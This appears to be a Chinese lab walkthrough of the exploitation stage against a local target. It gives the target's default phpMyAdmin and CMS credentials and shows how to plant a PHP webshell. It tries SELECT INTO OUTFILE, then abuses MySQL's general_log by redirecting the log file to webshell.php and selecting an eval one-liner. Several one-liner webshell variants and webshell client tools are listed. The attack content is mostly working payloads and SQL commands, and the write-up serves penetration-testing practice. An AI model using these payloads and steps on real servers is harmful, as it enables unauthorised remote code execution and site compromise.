上期已經信息收集階段已經完成,接下來是漏洞利用。
靶場思路
通過信息收集得到兩個吧靶場的思路
1、http://192.168.195.33/phpmyadmin/(數據庫的管理界面)
root/root
2、http://192.168.195.33/yxcms/index.php?r=admin/index/login(CMS的管理后臺)
admin/123456
登錄頁面和用戶名都有了
我們第一個思路通過phpmyadmin寫入一句話木馬
漏洞利用
首先登錄到phpmyadmin界面
在數據庫旁邊的SQL選項卡中是可以執行SQL語句的。
外觀設置中默認是英文,我們可以選擇改成簡體中文。
我們點擊SQL,檢查是否可以正常執行SQL語句。
發現這里可以正常執行SQL語句,可以不加分號;每執行一條命令記得要清除一下,不然會報錯,因為它無法執行兩條SQL語句。
select version(); //查詢數據庫的版本信息
phpmyadmin GetSHELL姿勢大全
方法1:使用select into outfile寫入shell
前提:需要知道網站目錄的絕對路徑
不足:常因為權限設置的問題容易失敗
這里我們是知道網站的根目錄的,肯定有人會問真實環境下怎么知道網站的根目錄啊,真實環境之下我們使用目錄枚舉進行爆破,或者來自站長的工作失誤導致留下了網站的備份文件,真實環境下思路很多。
我們寫入一句話木馬
報錯了,原來是因為權限的問題,看來開這方法行不通,那我們換一個。
這里的<?php eval ($_POST[cmd]);?>,是一句話木馬
什么是一句話木馬??一句話木馬是一般是指一段短小精悍的惡意代碼,這段代碼可以用作一個代理來執行攻擊者發送過來的任意指令,因其體積小、隱蔽性強、功能強大等特點,被廣泛應用于滲透過程中。
我們將一句話木馬寫入網站,形成了WebShell。
什么是WebShell?WebShell 就是以 ASP、 PHP、 JSP 或者 CGI 等網頁文件形式的一種命令執行環境,也可以將其稱做是一種網頁后門。
PHP木馬
客戶端向服務端傳遞參數有三種方式:GET、POST、COOKIE。
一句話木馬-webshell.php舉例
<?php @eval($_GET['cmd']);?><?php @eval($_POST['cmd']);?><?php assert($_COOKIE['cmd']);?>
基本的PHP用法
PHP 腳本以 <?php 開始,以 ?> 結束
<?php
//php代碼
?>
方法二:利用日志GET SHELL
既然權限不夠無法執行我們的SQL語句,那我們就換一種方法。
利用日志的方法
mysql 5.0版本以上會創建日志文件,可以通過修改日志的全局變量get shell。
查看日志文件的位置:
SHOW VARIABLES LIKE "%general%"
我們看到默認日志文件是沒有開啟的,我們知道了日志文件的位置。
那我們下一步就這個日志文件開啟,并且重新指定位置。
首先把日志文件打開
然后我們重新指定一下日志文件,這個文件是指定之后自動創建的。
SET GLOBAL general_log='on'; //開啟general_log
SET GLOBAL general_log_file='c:/phpStudy/www/webshell.php'; //自定義日志文件
我們在檢查一下這個日志文件是否打開了,并且重新指定文件位置了。
SHOW VARIABLES LIKE "%general%"
現在我們看到這個日志文件已經處于打開狀態,并且一直重新指定了位置。
我們打開Web主機看一下這個日志文件:
我們看到這已經變成了一個日志文件,我們執行一句話木馬:
ok了我們直接寫入成功。
select '<?php eval ($_POST["cmd"]);?>'
下面我們直接使用WebShell集成工具直接連接就可以了
WebShell集成工具有很多:
中國菜刀、蟻劍、冰蝎、哥斯拉